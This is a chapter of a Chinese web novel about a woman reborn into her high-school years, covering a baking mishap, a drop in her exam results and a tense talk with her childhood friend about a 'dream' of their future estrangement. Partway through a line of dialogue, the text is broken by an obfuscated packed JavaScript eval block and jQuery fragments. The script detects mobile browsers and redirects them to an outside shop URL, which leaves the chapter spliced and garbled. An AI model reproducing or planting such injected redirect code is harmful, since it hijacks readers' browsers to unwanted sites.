10. 10
作品:《重回前男友高中时》 程习为自己辩解:“可能是烤箱出了问题,要不你在外面等等我,我重新做一个。”
他双手搭在常暙的肩膀上,将她往厨房外推。
常暙被他推着走,回过头看那个失败品,觉得还是人的问题比较大。
她盯着程习,似笑非笑:“你确定?”
最后程习也没重新做一个蛋糕,而是将失败的蛋糕切成小块,挤上奶油,摆上水果,两块一夹就成了奶油水果夹心饼干。
虽然烤得硬邦邦的,但其实吃起来也还行,不过吃多了怕是会不消化。
夹完“饼干”,还剩下一点奶油,程习用手指沾了点,趁人不注意,轻轻点在常暙的鼻子上。
常暙猝不及防被攻击,抬眼时还没反应过来,眼里一片迷茫。
还没等她说什么,程习就抓住她的手指,沾了点奶油,点在自己鼻子上。
两人鼻子上都沾上了奶油,程习笑着说:“扯平。”
“……”常暙用手指挖了一大块奶油,抹他脸颊上,这才满意,“谁和你扯平了。”
程习吃了瘪,也不生气,笑吟吟地请她品尝饼干。
常暙给面子地吃了两块。
浪费粮食可耻,剩下的全都给程习吃了。
于是第二天,他拉了一整天的肚子。
虽然拉肚子在计划之外,但经此一事,常暙和他又恢复了往常的相处。
程习知道常暙不喜欢别人过于干涉她,但看到她和别人笑意盈盈地站在一起时,他的心就好像泡在了一碗柠檬水里,酸酸涩涩的。
·
高考假一共三天,由于一些老师要去监考,所以等到高考假放完,学生们都返校的时候,这次月考的成绩还没有出来。
虽然成绩没出来,但返校之后,各科老师都开始评讲试卷,对完答案后,常暙叹了口气。
许琏偷偷看了看常暙,在书包里翻了五分钟,才翻出来一包软糖。
常暙正看着试卷出神,桌面上忽然出现一包蓝莓味软糖,她转头看向许琏。
许琏:“给你吃,别看你那试卷了。”
连云一中是市里最好的公立高中,学生也多,每次月考总有那么几个后起之秀,当然也有退步的人。
常暙的成绩一向不错,数学是她的特长,鲜少会跌出年级前三,虽然她有偏科,但整体还算不错。
加上上一次月考,她的物理进步很大,排名一下子又往前不少。
这次却突然退步了许多,许琏怕她伤心,想转移一下她的注意力。
和许琏想得不同,常暙倒没有太伤心,她是在回忆自己高中时期的成绩起伏。
原本自上一次月考之后,她的物理就会慢慢好起来并稳定下来,总排名也逐渐居于前列。
不过今时不同往日,常暙突然回到这么多年前,难免不适应,尽管有在努力调整,但成绩退步在她的意料之内。
最近她上课也没那么犯困了,做题逐渐找回了一些手感,这次考试的答案基本都对完了,估测的分数和她的预想差不多。
有进步就好。
她撕开软糖包装,塞了一颗进许琏嘴里,自己也吃了一颗,一边嚼一边笑道:“怎么这幅表情,其实我也没有很伤心。”
许琏观察她的表情,不像说谎,于是放松下来,拍了拍她的肩膀:“英雄的成长之路总是有挫折的,我相信你一定能再次爬起来!”
“?”常暙咳了几下,“能不能别这么中二?”
许琏吟唱:“你不懂我的心~”
“……”
成绩在一天后出来了,果不其然,常暙的排名滑下去不少。
程习倒是还进步了几名,排在最前面那一部分里,常暙有点牙痒痒。
还没等她伤心多久,班主任的传讯已经传来:“常暙,班主任叫你去办公室!”
传话的同学说完同情地看了她一眼,他也是刚刚被批评回来。
班主任教的就是数学,常暙刚到办公室,他就重重叹了口气:“最近压力很大吗?”
“没。”常暙老实回答。
“那怎么考成这样呢?”班主任是个小老头,语气里没多少责备,更多的是不解。
“早恋了?”他想了想问道。
常暙嘴角抽抽:“没早恋,老师。”
班主任看了眼办公室门口,说:“有什么不懂的多来问老师,学习最重要的是专心,我看你最近上课也经常犯困,回去好好总结一下,争取下次进步。”
常暙连忙点头:“我知道了老师。”
一旁的语文老师笑道:“她上次也是这么答应我的,不过这次的默写还不错,要不然你等会还得站我办公桌前。”
班主任挥挥手:“回教室吧。”
常暙转过身,才发现程习也在办公室,应该是刚刚进来的,她进来的时候并没有看见他。
她走出办公室之后,程习也紧跟着出来了,两人一前一后。
“你来办公室干什么?”常暙问道。
“交作业,被批评了?”程习看她。
“嗯。”常暙从鼻腔里挤出一个音来。
程习突然伸出手,掌心里躺着一颗糖:“吃颗糖,别愁眉苦脸了。”
“再吃就要蛀牙了。”
虽然是这么说,但常暙还是拿过了那颗糖。
“要不要申请援助?”程习问。
“什么?”常暙不明所以。
“我给你补习,怎么样?”
常暙察觉到不对劲:“你又偷偷去看我的成绩了?”
程习转移视线,有些心虚:“去办公室的时候顺便在老师那里看了一下……”
他举起双手:“下次不偷偷看了,你亲自告诉我?”
常暙拍下他的手:“想得美!”
“那要不要帮你?”
“……要。”
身旁传来几声闷笑:“好。”
晚上下自修回到家里,已经将近十点。
刚和程习在电梯口告别回到家里,门铃忽然响了起来。
打开门,是程习。
程习手扶在门框上,说:“刚刚忘了说,你的物理试卷带回来了吗?我帮你整理一下错题。”
“好确定补习方向。”他补充道。
常暙带回来了,本来想着睡觉前再看看,老师讲试卷的时候她有些地方还是不太理解,不过现在眼前有着现成的劳动力,她也没必要自己冥思苦想。
“进来吧。”
程习跟着常暙来到她的房间。
“你等等,我找找。”
常暙的书包放在椅子上,她打开书包翻找出这次月考的物理试卷,递给程习。
程习坐在另一张椅子上,翻看这张试卷,脸上没有嘲笑的表情,而是有些疑惑。
“你数学试卷呢?我也看看。”
常暙依言找出数学卷子递给他。
程习翻看完,视线不由得落在常暙的床上。
床的边缘处放着一只粉红小猪,是有一年他送给常暙的生日礼物。
程习忽然问道:“怎么不把那只小猪放在枕头上了?”
“嗯?”常暙顺着他的视线看过去,“哦,你说这个,我晚上睡觉总是会把它踢到床下,就把它放在边上了。”
她小时候有些怕黑,晚上睡觉总要抱着点什么,不过后来长大了,独自一人居住、工作,已经不再怕黑,自然也不再有抱着玩偶睡觉的习惯。
程习若有所思:“你最近有点不一样,难道真的是做噩梦吓到了?”
对于这句带着调侃意味的话,常暙这次没有反驳。
她问:“哪里不一样?”
“成绩退步了,习惯变了,”程习顿了顿,“和我疏远了。”
虽然常暙表面装得一切如常,但程习直觉,似乎有一道看不见摸不着的屏障在他们之间升起。
“为什么?”他语气很轻,带着困惑。
“最近睡眠不好,上课老犯困,学习也有点松懈了,退步很正常。”常暙看着床上的小猪玩偶,“习惯也是会变的,你不是总能第一时间发现我的改变。”
常暙说完沉默了好一会,程习也没开口,静静等待着。
她终于又开口道:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070894|195221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过我最近确实做了一个很长很真实的梦。”
“什么梦?”程习问。
“我梦到,我们上了大学,不过没去同一所学校,你和我渐渐疏远,渐渐没了联系。”
常暙回忆起重生前的事情,那确实像一场遥远的梦,不过她很确定自己是谁。
“我们为什么会疏远?”程习皱眉。
高考以及填报志愿具有许多不确定因素,两个人不在同一所大学是很正常的事情,程习对此早有预料,但他想不明白,他怎么会疏远暙暙呢?
“反正就是疏远了,工作了之后也好几年没见过面,那个梦特别特别真实,就像是未来一定会发生一样。”
常暙摊了摊手,一副信不信由你的表情道:“所以醒来之后,我总觉得和你相处有些怪怪的。”
程习没有出声。
常暙站了起来,说:“我去倒杯水喝,时间不早了,你也回去吧。”
她准备离开,手腕却被人拉住。
程习有些执拗地看着她,委屈道:“就因为一个梦,你就要疏远我?”
“也没有疏远吧?”常暙有些不确定。
“你在心里疏远我,觉得我们以后会变成陌生人。”程习不肯罢休,“那是你梦里的我,又不是真的我,你这样很不公平。”
常暙无奈:“我开个玩笑。”
“不好笑。”程习紧接着说。
而且她很认真,并没有在开玩笑,程习看得出来。
常暙动了动手,没扯出来。
她看着程习,忽然想起很久很久以前,她读一年级的时候。
那时她和程习刚认识,在同一个班级,但她起初并不是很喜欢和程习玩。
她小时候长得可爱,性格也好,身边总有玩得亲密的小伙伴。
程习总冷着脸,班上的小朋友都有些怕他,他来和常暙玩,其他人就不太敢加入进来。
于是他就只能默默地站在一旁,静静看着常暙和其他小朋友玩,最后在放学的时候,牵起她的手,一起回家。
从学校回到家里的那一段路,是完全属于他们的时光。
后来有一次,上体育课的时候,常暙被人不小心撞到,是一旁的程习拉住她,垫在她的身下,手臂被擦伤了一大块,不停冒出血珠。
他却没有哭,而是认真拍掉常暙身上的灰尘,拉着她的手站起来,生气地看着那个撞到她的男生。
那天是常暙主动牵起他的手回家的。
从那以后,常暙渐渐和他熟悉起来,成为了亲密无间的朋友。
程习也慢慢变了性格,不再总是冷着脸,也会和其他小朋友玩耍,但只要常暙出现,他总是第一时间跑过来,牵住她的手。
……
常暙又动了动手:“我口渴了。”
程习松了力,看着她走出房间,过了一会,手上端着两杯白开水回来。
两个人都沉默了一会,还是常暙打破了僵持的局面。
她轻松道:“只是一个梦而已,你这么认真做什么?”
她把两张试卷卷好塞进程习手中,拉着他站起来,把他推到房间门口:“不要臭着个脸啦,快点回去帮我看试卷吧,为表感谢,明天请你吃早餐。”
程习顺着她的力道,走到客厅才停下来,脸色好上不少,却还是道:“那你发誓。”
常暙:“发什么誓?”
“说你永远也不会疏远我,我们永远是最好的……朋友。”
“好吧好吧,那我发誓,我永远不会疏远你,我们永远是最好的朋友,要是说谎的话,我就……”
常暙话还没说完,程习就打断了她,朝她笑了笑:“可以了,开个玩笑,其实我没生气。”
“真的?”
“真的。”
两人到了门口,程习出了门,常暙趴在门边冲他笑,做了个口型:“记得试卷!”
程习无奈笑道:“不会忘,晚安,明天见。”
“晚安。”
啪嗒一声,门被合上,程习嘴角的弧度慢慢恢复平直,他把试卷摊开拿好,低垂着眸,不知道在想什么。

